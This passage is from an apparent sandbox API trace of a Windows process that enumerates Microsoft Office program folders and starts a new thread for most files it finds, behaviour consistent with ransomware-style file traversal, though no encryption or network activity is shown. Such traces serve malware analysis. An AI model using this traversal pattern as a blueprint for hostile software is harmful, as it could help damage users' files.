ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x1375c, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRM.XML", cAlternateFileName="")) returned 1 [0065.689] wcscmp (_String1="IPIRM.XML", _String2=".") returned 1 [0065.689] wcscmp (_String1="IPIRM.XML", _String2="..") returned 1 [0065.689] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x419658 [0065.689] wcscpy (in: _Dest=0x419658, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.689] wcscat (in: _Dest=0x419658, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.689] wcscat (in: _Dest=0x419658, _Source="IPIRM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML" [0065.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x419658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x160c [0065.691] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x135a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRMV.XML", cAlternateFileName="")) returned 1 [0065.691] wcscmp (_String1="IPIRMV.XML", _String2=".") returned 1 [0065.691] wcscmp (_String1="IPIRMV.XML", _String2="..") returned 1 [0065.691] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x419130 [0065.691] wcscpy (in: _Dest=0x419130, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.691] wcscat (in: _Dest=0x419130, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.691] wcscat (in: _Dest=0x419130, _Source="IPIRMV.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML" [0065.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x419130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1610 [0065.692] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x39988, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPOLK.DLL", cAlternateFileName="")) returned 1 [0065.692] wcscmp (_String1="IPOLK.DLL", _String2=".") returned 1 [0065.692] wcscmp (_String1="IPOLK.DLL", _String2="..") returned 1 [0065.692] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x551a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXACS.PDL", cAlternateFileName="")) returned 1 [0065.692] wcscmp (_String1="IXACS.PDL", _String2=".") returned 1 [0065.692] wcscmp (_String1="IXACS.PDL", _String2="..") returned 1 [0065.693] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x419400 [0065.693] wcscpy (in: _Dest=0x419400, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.693] wcscat (in: _Dest=0x419400, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.693] wcscat (in: _Dest=0x419400, _Source="IXACS.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXACS.PDL" [0065.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x419400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1614 [0065.694] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x34188, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXDB2.PDL", cAlternateFileName="")) returned 1 [0065.694] wcscmp (_String1="IXDB2.PDL", _String2=".") returned 1 [0065.694] wcscmp (_String1="IXDB2.PDL", _String2="..") returned 1 [0065.694] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x419568 [0065.694] wcscpy (in: _Dest=0x419568, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.694] wcscat (in: _Dest=0x419568, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.694] wcscat (in: _Dest=0x419568, _Source="IXDB2.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXDB2.PDL" [0065.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x419568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1618 [0065.695] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x16db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXGENERC.PDL", cAlternateFileName="")) returned 1 [0065.695] wcscmp (_String1="IXGENERC.PDL", _String2=".") returned 1 [0065.695] wcscmp (_String1="IXGENERC.PDL", _String2="..") returned 1 [0065.695] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x419388 [0065.695] wcscpy (in: _Dest=0x419388, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.695] wcscat (in: _Dest=0x419388, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.696] wcscat (in: _Dest=0x419388, _Source="IXGENERC.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXGENERC.PDL" [0065.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x419388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x161c [0065.697] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2ada0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXOLEDB.PDL", cAlternateFileName="")) returned 1 [0065.697] wcscmp (_String1="IXOLEDB.PDL", _String2=".") returned 1 [0065.697] wcscmp (_String1="IXOLEDB.PDL", _String2="..") returned 1 [0065.697] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x419040 [0065.697] wcscpy (in: _Dest=0x419040, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.697] wcscat (in: _Dest=0x419040, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.697] wcscat (in: _Dest=0x419040, _Source="IXOLEDB.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXOLEDB.PDL" [0065.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x419040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1620 [0065.698] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x63fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXORACLE.PDL", cAlternateFileName="")) returned 1 [0065.698] wcscmp (_String1="IXORACLE.PDL", _String2=".") returned 1 [0065.698] wcscmp (_String1="IXORACLE.PDL", _String2="..") returned 1 [0065.698] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x419298 [0065.698] wcscpy (in: _Dest=0x419298, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.698] wcscat (in: _Dest=0x419298, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.698] wcscat (in: _Dest=0x419298, _Source="IXORACLE.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXORACLE.PDL" [0065.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x419298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1624 [0065.699] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2fda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXSSRV.PDL", cAlternateFileName="")) returned 1 [0065.699] wcscmp (_String1="IXSSRV.PDL", _String2=".") returned 1 [0065.699] wcscmp (_String1="IXSSRV.PDL", _String2="..") returned 1 [0065.699] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x418a28 [0065.699] wcscpy (in: _Dest=0x418a28, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.699] wcscat (in: _Dest=0x418a28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.699] wcscat (in: _Dest=0x418a28, _Source="IXSSRV.PDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\IXSSRV.PDL" [0065.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1628 [0065.701] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5adb1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x4db80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXUTIL.DLL", cAlternateFileName="")) returned 1 [0065.701] wcscmp (_String1="IXUTIL.DLL", _String2=".") returned 1 [0065.701] wcscmp (_String1="IXUTIL.DLL", _String2="..") returned 1 [0065.701] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e2cf00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7e2cf00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x499c, dwReserved0=0x0, dwReserved1=0x0, cFileName="JFONT.DAT", cAlternateFileName="")) returned 1 [0065.701] wcscmp (_String1="JFONT.DAT", _String2=".") returned 1 [0065.701] wcscmp (_String1="JFONT.DAT", _String2="..") returned 1 [0065.701] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x418cf8 [0065.701] wcscpy (in: _Dest=0x418cf8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.701] wcscat (in: _Dest=0x418cf8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.701] wcscat (in: _Dest=0x418cf8, _Source="JFONT.DAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" [0065.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418cf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x162c [0065.884] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x89e6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LATIN1.SHP", cAlternateFileName="")) returned 1 [0065.884] wcscmp (_String1="LATIN1.SHP", _String2=".") returned 1 [0065.884] wcscmp (_String1="LATIN1.SHP", _String2="..") returned 1 [0065.884] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x43a0d8 [0065.884] wcscpy (in: _Dest=0x43a0d8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0065.884] wcscat (in: _Dest=0x43a0d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.884] wcscat (in: _Dest=0x43a0d8, _Source="LATIN1.SHP" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP") returned="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP" Thread: id = 116 os_tid = 0xbd0 [0045.977] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x4239e0 [0045.979] wcscpy (in: _Dest=0x4239e0, _Source="C:\\Program Files\\Microsoft Office\\Stationery" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Stationery" [0045.979] wcscat (in: _Dest=0x4239e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\" [0045.979] wcscat (in: _Dest=0x4239e0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\*") returned="C:\\Program Files\\Microsoft Office\\Stationery\\*" [0045.979] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x423a48 [0045.979] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\*", lpFindFileData=0x423a48 | out: lpFindFileData=0x423a48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440860 [0047.060] wcscmp (_String1=".", _String2=".") returned 0 [0047.060] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x423a48 | out: lpFindFileData=0x423a48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.060] wcscmp (_String1="..", _String2=".") returned 1 [0047.060] wcscmp (_String1="..", _String2="..") returned 0 [0047.060] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x423a48 | out: lpFindFileData=0x423a48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0047.060] wcscmp (_String1="1033", _String2=".") returned 1 [0047.060] wcscmp (_String1="1033", _String2="..") returned 1 [0047.060] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x4218f8 [0047.060] wcscpy (in: _Dest=0x4218f8, _Source="C:\\Program Files\\Microsoft Office\\Stationery" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Stationery" [0047.060] wcscat (in: _Dest=0x4218f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\" [0047.060] wcscat (in: _Dest=0x4218f8, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033" [0048.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4218f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638 [0048.398] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x423a48 | out: lpFindFileData=0x423a48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0048.399] FindClose (in: hFindFile=0x440860 | out: hFindFile=0x440860) returned 1 [0048.399] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423a48) returned 1 [0048.399] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4239e0) returned 1 [0048.399] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41aa78) returned 1 Thread: id = 117 os_tid = 0xbd4 [0045.980] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x423ec8 [0045.980] wcscpy (in: _Dest=0x423ec8, _Source="C:\\Program Files\\Microsoft Office\\Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates") returned="C:\\Program Files\\Microsoft Office\\Templates" [0045.980] wcscat (in: _Dest=0x423ec8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\" [0045.980] wcscat (in: _Dest=0x423ec8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\*" [0045.980] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x423f30 [0045.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", lpFindFileData=0x423f30 | out: lpFindFileData=0x423f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440860 [0048.432] wcscmp (_String1=".", _String2=".") returned 0 [0048.432] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x423f30 | out: lpFindFileData=0x423f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.432] wcscmp (_String1="..", _String2=".") returned 1 [0048.432] wcscmp (_String1="..", _String2="..") returned 0 [0048.432] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x423f30 | out: lpFindFileData=0x423f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0048.432] wcscmp (_String1="1033", _String2=".") returned 1 [0048.432] wcscmp (_String1="1033", _String2="..") returned 1 [0048.432] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x4211f8 [0048.432] wcscpy (in: _Dest=0x4211f8, _Source="C:\\Program Files\\Microsoft Office\\Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates") returned="C:\\Program Files\\Microsoft Office\\Templates" [0048.432] wcscat (in: _Dest=0x4211f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\" [0048.432] wcscat (in: _Dest=0x4211f8, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0049.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4211f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0049.058] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x423f30 | out: lpFindFileData=0x423f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0049.058] wcscmp (_String1="Presentation Designs", _String2=".") returned 1 [0049.058] wcscmp (_String1="Presentation Designs", _String2="..") returned 1 [0049.058] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x416ff0 [0049.059] wcscpy (in: _Dest=0x416ff0, _Source="C:\\Program Files\\Microsoft Office\\Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates") returned="C:\\Program Files\\Microsoft Office\\Templates" [0049.059] wcscat (in: _Dest=0x416ff0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\" [0049.059] wcscat (in: _Dest=0x416ff0, _Source="Presentation Designs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" [0049.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x416ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c [0049.060] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x423f30 | out: lpFindFileData=0x423f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0049.060] FindClose (in: hFindFile=0x440860 | out: hFindFile=0x440860) returned 1 [0049.060] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423f30) returned 1 [0049.060] 